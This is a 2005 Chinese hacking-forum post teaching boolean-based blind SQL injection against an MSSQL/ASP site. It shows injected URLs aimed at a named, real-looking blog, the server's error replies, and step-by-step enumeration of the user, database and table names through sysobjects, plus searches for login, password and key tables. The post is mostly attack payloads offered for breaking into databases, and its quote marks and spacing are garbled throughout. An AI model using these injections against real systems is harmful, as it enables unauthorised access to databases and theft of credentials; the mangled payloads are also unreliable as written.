标题:
灵活地运用SQL Injection做数据库渗透
[打印本页]
作者:
Jesse
时间:
2005-6-12 12:54
标题:
灵活地运用SQL Injection做数据库渗透
如何灵活地运用SQLInjection做数据库渗透的一种思路
如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
www.xxxxx.com/blog.asp?id=4
当加入"';"符号进行注入测试时,
www.xxxxx.com/blog.asp?id=4';
出错信息是,
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue';4?toacolumnofdatatypeint
我们知道它不对"';"符号进行过滤。再用如下语句测试,
_blank>http://www.aquavelvas.com/blog.asp?id=4and1=1
出错信息是,
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue';4and1=1';toacolumnofdatatypeint
好,再来继续测试,
_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了,如下
[Microsoft][ODBCSQLServerDriver][SQLServer]Line1:Incorrectsyntaxnear';and';
我们的"';"符号加对了,再继续测试,
_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>';0
出错信息如下,
[Microsoft][ODBCSQLServerDriver][SQLServer]Line1:Incorrectsyntaxnear';anduser>';
应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,
_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>';0
出错信息是,
[Microsoft][ODBCSQLServerDriver][SQLServer]Line1:Incorrectsyntaxnear';andlen(user)>';
好,我们知道如果出错信息是Syntaxerror...或EitherBOForEOFisTrue...的话,那语句在逻辑上是错的;而如果出错信息是Incorrectsyntax...的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对的。
我们试试逻辑上错的语句,
_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2
果然,出错信息是,
EitherBOForEOFisTrue,orthecurrentrecordhasbeendeleted.Requestedoperationrequiresacurrentrecord
从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。
好了,如何猜表名呢?就先猜表名的长度吧,
就用如下语句,
len(selecttop1namefromsysobjectswherextype=';U';)>10
len(selecttop1namefromsysobjectswherextype=';U';)>9
len(selecttop1namefromsysobjectswherextype=';U';)>8
...
(猜表名的工作是很烦人,建议用perl写个script来玩玩)
再猜表名,
left((selecttop1namefromsysobjectswherextype=';U';),1)=a
left((selecttop1namefromsysobjectswherextype=';U';),2)=ab
left((selecttop1namefromsysobjectswherextype=';U';),3)=abc
...
好了,我们知道第一个表名是';geoipcountrywhois';(知道为什么我建议写个perlscript吧!)
再继续猜表名,
len(selecttop1namefromsysobjectswherextype=';U';andnamenotin(';geoipcountrywhois';)>10
len(selecttop1namefromsysobjectswherextype=';U';andnamenotin(';geoipcountrywhois';)>9
len(selecttop1namefromsysobjectswherextype=';U';andnamenotin(';geoipcountrywhois';)>8
...
left((selecttop1namefromsysobjectswherextype=';U';andnamenotin(';geoipcountrywhois';)),1)=b
left((selecttop1namefromsysobjectswherextype=';U';andnamenotin(';geoipcountrywhois';)),1)=l
left((selecttop1namefromsysobjectswherextype=';U';andnamenotin(';geoipcountrywhois';)),1)=o
....
好第二个表名是blog,之后的表名可用(';geoipcountrywhois';,';blog';)来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?
如何搜索呢?就用如下的语句吧,
(selectcount(*)fromsysobjectswherextype=';U';andnamelike';%login%';)=0
(selectcount(*)fromsysobjectswherextype=';U';andnamelike';%pass%';)=0
(selectcount(*)fromsysobjectswherextype=';U';andnamelike';%key%';)=0
(记得将"%"这符号换成"%25"才是正确的输入)
好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。
希望这思路能开阔注入技术的演变。
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2